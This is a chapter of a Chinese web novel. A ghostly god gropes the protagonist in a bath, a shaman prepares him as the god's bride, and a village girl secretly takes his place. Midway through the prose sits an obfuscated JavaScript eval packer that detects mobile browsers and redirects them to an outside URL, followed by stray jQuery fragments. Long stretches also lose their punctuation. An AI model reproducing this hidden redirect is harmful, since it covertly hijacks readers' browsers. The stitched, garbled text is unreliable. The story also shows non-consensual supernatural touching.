那无形的冰冷大手如一把钳子,牢牢钳住温稚宁的小腿软肉,不论他如何蹬踹,都不曾放开。
甚至在这期间,祂的拇指慢慢来回摩擦了下。
像是在品味温稚宁细腻光滑的皮肤,但更像是在愉悦地享受温稚宁此刻无能狂怒又害怕的模样。
是恶劣的。
是极具侵略性的。
也是充满掌控欲的。
“就该给你一点教训,让你这辈子,都再不敢离开我。”
一句充满恶意的话出口,但落在温稚宁的耳朵里,却如蛇吐芯子般,只余下“嘶嘶”的声音。
温稚宁:“!”
天杀的!
为什么命运要如此捉弄他?
被莫名其妙拉到回廊也就算了,甚至进入的这两个副本!竟然!都有!小狐狸最最最最害怕的鬼魂!
他完全不能像之前打飞谢同构一样,打飞这个色鬼!
呜呜呜呜。
所以,这个以鬼魂姿态的邪神提前出现在这里,是打算干什么!?该不会等不及献祭了,要直接吃掉他叭!?
想到这里,温稚宁手忙脚乱,慌不择路地打开系统面板,正想不管不顾,直接使用自己的S级道具机械人,突地又反应过来。
连他都打不到这个鬼,难道机械人就可以吗!?
物理就是干不过灵异啊!
不行!
温稚宁,你要冷静!
深呼吸——
仔细想想,你没有从对方的身上感受到恶意,只是对未知的鬼魂感到恐惧,或许,你应该先平静下来,好好跟对方谈谈。
对。
就是这样……
但是谁能告诉他!这个摸不着的鬼为什么——为什么——另一只手,就这么朝着他另一条大腿摸过去了哇!
是在仔细品鉴他左右两边,哪块肉会更好吃吗!?
呜呜呜哇受不了了!
温稚宁呜咽道:“我、我肉质不好的……吃起来很
臭很腥,真的!我发誓!我不骗你!
那大手原本按在温稚宁大腿内侧一处鲜艳的红痣上,闻言一顿。
温稚宁见对方停下,立刻觉得有戏。
他眼眸一亮,语速飞快道:“我知道比我更好吃的食物!真的,我可会吃了,乔乔姐验证过的!你要是放过我,我让村长给你做——
说到吃,小狐狸可太会了。
“红烧肉、糖醋鱼、宫保鸡丁、手撕鸡、烤鱿鱼……温稚宁想得有点慢,怕说不到对方的心坎上,干脆闭上眼睛,飞快报菜名,“还有蒸羊羔儿、蒸熊掌、蒸鹿尾、烧花鸭、烧雏鸡儿、烧子鹅……
下一刻,一道冰冷的指尖落在温稚宁柔软的唇上。
温稚宁:“!
温稚宁:0-0
小狐狸懂了,立刻乖乖闭嘴,胆战心惊地等对方的下一步行动,可谁知,那手指却并没有因为他的乖巧离开,反而恶劣地想强行撬开温稚宁的牙齿,往他的嘴巴里伸!
温稚宁下意识“唔了声。
恰巧,外面突然传来隐隐的交谈声。
与此同时,不论是放置在唇上的那只手,还是仍旧握着温稚宁小腿和大腿的手,都消失不见了。
温稚宁猛地松了口气。
太、太好了!
对方消失了!不知道是因为有人来了,还是不打算吃他了,但不论如何,终于!得!救!了!
小狐狸瘫软在已经微凉下来的水里。
好恐怖呜呜呜。
信狐愿意用邪神的十年寿命,换世间不再有恶鬼!
如果十年不够的话,二十年也可以的……
过了会,温稚宁后知后觉:“诶?
不对呀,刚刚握着他右边小腿的有一只手,摸着他左边大腿的有一只手,那鬼竟然还有一只手,能用来堵住他嘴巴!??
……蒜了。
连鬼这种东西都出现了,三只手又算什么?
温稚宁目光呆滞地想。
过了几秒钟,他
皱皱眉头,抬手摸了摸自己的嘴巴。
那鬼到底要干嘛?
好莫名其妙。
难道是……要吃狐狐的舌头!?就像有些人类,特别喜欢吃猪舌和牛舌一样……?啊啊啊啊,他的舌头也不好吃啊!!!!!
温稚宁吸了吸鼻涕,身体缩成一团,瑟瑟发抖。
不多时,“吱呀”一声,大门被推开。
神婆口中念念有词,声音很低,连小狐狸都有些听不真切,但乍一听,有种在听人念经的感觉。
她手中抓出一把又一把的黄豆,洒在木质的地板上,黄豆落地碰撞,发出“啪嗒啪嗒”的声响,那些被特殊处理过的黄豆“骨碌碌”在房间各处滚动着,听起来竟有些诡异。
温稚宁本就被鬼吓了一通,如今又出现这种背景音,完全不想单独待着。
他飞快搓搓搓,再搓搓搓,双手都快搓出火星子,等水再凉一些,差不多洗干净了,便迫不及待喊:“婆婆,我好啦——”
“来了。”神婆应和。
她推门而入,又开始撒着黄豆。
温稚宁趴在木桶边缘,好奇看着,没多问。
等黄豆全部撒完,神婆道:“你自己擦干净身体,只穿内裤,切记,其余衣物不要上身。一是否则等会儿不好在身上写婚书,二是等会儿你要直接换婚服。等做好后喊我。”
温稚宁:“好嘟好嘟。”
虽然只穿内裤也很羞耻……
但总好过什么都不穿。
等神婆出去后,温稚宁又飞快起身擦擦擦,准备就绪后,才又喊了神婆。
这次,神婆手中稳稳端着一个托盘,放着一大一小两根毛笔,以及一盘红色的好似朱砂的颜料。
她口中依然在念念有词。
这一次,温稚宁偏头仔细听,听到神婆讲:“天开了缝,地涌了泉……颂那熔金为日,照破万古长夜,颂那捻银成月,抚平众生心怨……”
“祂的眼,是星河旋转,看顾蝼蚁人烟,祂的息,是四时流转,吹熟沉甸穗尖……消灾!解难!赐下五
谷丰登六畜兴旺满圈栏!”
哦……
又是在说神明的。
此类内容温稚宁在这个副本里都不知道听过多少遍了。
他偷偷摸摸打了个哈欠。
神婆个子没温稚宁高等一切准备工作就绪后示意温稚宁趴下。
温稚宁乖乖照做。
过了会。
毛笔落在后背上一笔一划分不清在书写着什么。
但软软的毛尖接触到皮肤痒痒的。
温稚宁身上痒痒肉多有点受不了但又怕乱动会让神婆婆不好写字一切重来只得肌肉紧绷努力忍住。
那婚书似乎很长。
神婆从温稚宁的右肩膀处一路写到左边腰窝当最后一笔落下才终于松了口气:“成了。”
“好耶!”
终于结束受罪了!
温稚宁也跟着松了口气。
不过下一瞬神婆便发现什么猛地攥住温稚宁的手臂:“你——你腿上的痕迹是哪儿来的?”
提起这个话题温稚宁低头去看才发现自己小腿和大腿处都有一道被掐出来的青紫痕迹登时怨气十足。
他有太多的芬芳想吐但面对上了年纪的神婆婆最后千言万语只憋出六个字:“你们的神干的。”
神婆:“……”
神婆神色复杂。
她不再就这些痕迹多说什么转而叮嘱道“等身上的字迹干了再更衣。至于今晚的婚礼……村长已经卜过神明怜你爱你不需要你做任何繁琐的礼节一切从简到时候
温稚宁:“唔。知道啦。”
等身上字迹晾干已经是半个小时后的事幸好这期间温稚宁身上没出汗不然洇花了字迹等于之前白干。
神婆拿出一套繁复的大红色婚服教温稚宁更衣。
好不容易穿好温稚宁低头一看略觉眼熟忍不住想这和他之
前被纸人用喜轿抬着的时候,穿着的衣服好像一样?
紧接着,神婆对着已经穿戴整齐,随时都能出嫁的温稚宁,虔诚地点燃熏香,口中仍旧跟之前一般,念念有词,用一种特殊的步伐,围绕着穿上红嫁衣的温稚宁转来转去。
浓郁的熏香比外面的花香还要重,小狐狸没忍住,又打了个喷嚏。
神婆蹙眉:“我记得你之前也打了喷嚏。感冒了?”她陡然加大音量,朝外喊道,“圣水——”
温稚宁吓了一跳,疯狂摆手:“不不不不,不至于不至于,我只是鼻子比较敏感,被熏香熏到了,之前在外面狂打喷嚏,也是被花熏到而已。没事的,圣水珍贵,还是留着叭。”
说不定还能用在刘芳身上?
好说歹说,小狐狸才劝神婆放弃了给温稚宁来一杯圣水的想法。
而后,神婆依旧十分虔诚,在房内点燃三根香,插在客厅的香炉里:“好了,该做的都已经做完,接下来只等仪式举行。切记,在黄昏之前,你不要再踏出这间房半步。等有人来敲门,就盖上盖头,之后再不要拿开。”
温稚宁:“好嘟。”
神婆看温稚宁年纪小,有些不放心,再三叮嘱过,又说了很多注意事项,最后离开时,还贴心地在房间门上挂了一把沉重的锁。
温稚宁:“……”
四周寂静下来。
整个房间,又只剩狐一只。
温稚宁抿了下唇,看着满地的黄豆,再看看房间内周围的摆设,尤其那张看了就想往上面坐的椅子,默默、默默地穿着繁厚的喜服,拿着盖头,往屋里的角落蹲,假装自己只是一颗会呼吸的蘑菇。
也不知道刘芳森么时候过来。
……还会来吗?
可别来的路上低血糖了。
乔文茵和桑槐能成功找到许虎的尸体吗?
蓝鸿卓怎么样了?他甚至要削掉身上的肉……那真的能坚持一整个婚礼现场,完成当伴娘的使命吗?
温稚宁脑子里胡思乱想一阵,单独待着又有点怕,忍不住嘀咕:“刘芳来,刘芳来,邪神不来
邪神不来那个也不要来!那个千万别来!”
时间一分一秒过去。
让温稚宁感到安心的是这期间邪神和鬼始终没来但刘芳也没来。
……蒜了。
眼看即将抵达黄昏温稚宁干脆将红盖头盖上变成一颗蘑菇完全体并开始在颅内完善自己成为新娘后的计划。
也是巧此时外面传来些许骚乱紧接着窗户轻轻被推开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119211|195943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
温稚宁一愣连忙掀开红盖头便见刘芳气喘吁吁站在不远处后者看到穿戴齐全甚至红盖头都盖上的温稚宁笑了声。
她走过来伸手将那红盖头拿走轻声说:“你倒是心大什么都敢往头顶戴也不怕出事……以为我不会来了?”
温稚宁“嘿嘿”一笑。
刘芳:“放心这是我答应好的事。”
“呜呜呜谢谢芳芳姐!对了我背上被神婆婆用不知道什么材料写了个婚书会有影响吗?”
“不会。”刘芳缓慢摇头“婚书那些都不重要从这间房里穿着嫁衣出去才是最重要的。”
……是吗?
小狐狸歪着脑袋。
但既然身为离村本地人的刘芳都这么说了他也就不再多想。
“好的好的。”
蘑·温稚宁·菇脚蹲麻了。
他龇牙咧嘴站起身看着面前年纪比自己小还矮了半个头身形也显得有些瘦弱的女孩子心中一动小声问“你害怕吗?”
刘芳一愣半晌慢慢“嗯”了声。
她见过无数次神明娶妻因此再清楚不过登上祭坛会是一种怎样的结局以至于想到自己的四肢会被砍断她便觉得手软脚软走路时都有些飘忽再想到肚子会被当场剖开就完全吃不下食物甚至还会干呕。
但是——
她要去她必须要去。
想到这里
温稚宁:“不不我不是担心你后悔我就是……”
小狐狸一时也说不明白自己复杂的心情最后没办法只能表情郑重地小声重复“反正谢谢你。”
“没事。时间不早赶紧换衣服吧。”
刘芳特意穿了一套简单好脱的衣服又递给温稚宁一套新的甚至贴心地带了口罩“也得辛苦你找个地方躲起来
温稚宁:0-0
那好像不行。
——要做基础任务小狐狸必须看完整场婚礼实在不行的话到时候……只好使用那一招了!
正好小狐狸的****也该打理了~
两人飞快更换。
让温稚宁感到惊讶的是这套古装婚服十分繁复一层一层连他都是有神婆帮忙两人合力又花费了一些时间才好不容易穿上的刘芳却好似很熟悉这婚服一个人便很快换好了。
注意到温稚宁的视线刘芳轻轻拍了拍婚服的布料目录怀念:“这套婚服是我去年亲手做的。”
温稚宁:“!!!”
难怪刘芳这么了解这套的婚服构造!
温稚宁竖起大拇指“超好看的。”
刘芳笑了下:“本来离村有个专做衣服的手艺人但几年前的一个夜里她的缝纫机突然有了思想开始攻击每一个想使用或者触碰它的人。”
温稚宁:“!?”
那、那不就是!
温稚宁瞪大眼睛“你说咬沈少真的那个?”
“嗯。”刘芳颔首“之后做新娘婚服这个活儿就交给我了。”
说罢她指了指门外“你从那扇窗户翻出去就自由了但切记千万不要让任何人看到你游荡在外面并没有成为‘神明新娘’。即便是那些……经常和你待在一起的伙伴们。”
温稚宁面露茫然。
刘芳语气平淡几乎没有起伏:“我偶然听到过他们聊天知道他们必须要看到一场完整的婚礼如果后来发现身为新娘的你不见了为了防止
发生变故,影响结果,会亲自把你抓回来的。”
温稚宁:“……”
小狐狸吓得身体抖了抖。
好有道理!
“谢谢芳芳姐。”温稚宁抿了下唇,“我……我也会尽力帮你的。”
刘芳怔愣片刻,笑了下:“不必。”
温稚宁挠挠头。
刘芳整理完衣服,扭头见温稚宁还在,一愣:“还不走?”
温稚宁往刘芳那边贴了贴:“姐姐,我想再多待一会儿。”
刘芳有片刻怔愣。
她意识到温稚宁想留在这里的原因,神色温柔一瞬,先摇了摇头,想让温稚宁不必留下,但迟疑一瞬,还是轻轻“嗯”了声。
一人一狐在房间中待着。
即便接下来没谁说话,但他们都知道,身边还有另外一个在陪着。
直到院外隐隐传来动静。
有人敲了敲门。
刘芳将手指竖在唇前,做了个噤声的动作,冲温稚宁摆摆手,她将红盖头放下,与之前的温稚宁相同,蹲坐在墙角,表现出有些害怕的模样。
乍一看,确实能以假乱真。
再一次,温稚宁无声地说:谢谢。
他快步走到窗边,一个利落翻身,在即将拥抱自由时,骤然发现都过去两秒钟,自己的双脚却始终未落地,而是维持一个悬空的状态。
温稚宁:“啊?”
正茫然呆愣着,一顶由白色纸人抬着的喜轿飞快冲来,帘子被风掀开的一瞬间,温稚宁被无缝塞进轿里。
前后加起来也不过五秒钟。
等反应过来,已经稳稳当当坐在喜轿里,被纸人抬着飞快跑路的温稚宁:“!???”
嗯???
啊!?????
ber,这、这对吗!????
温稚宁瞪圆茫然无措的大眼睛,又想发出尖锐爆鸣了。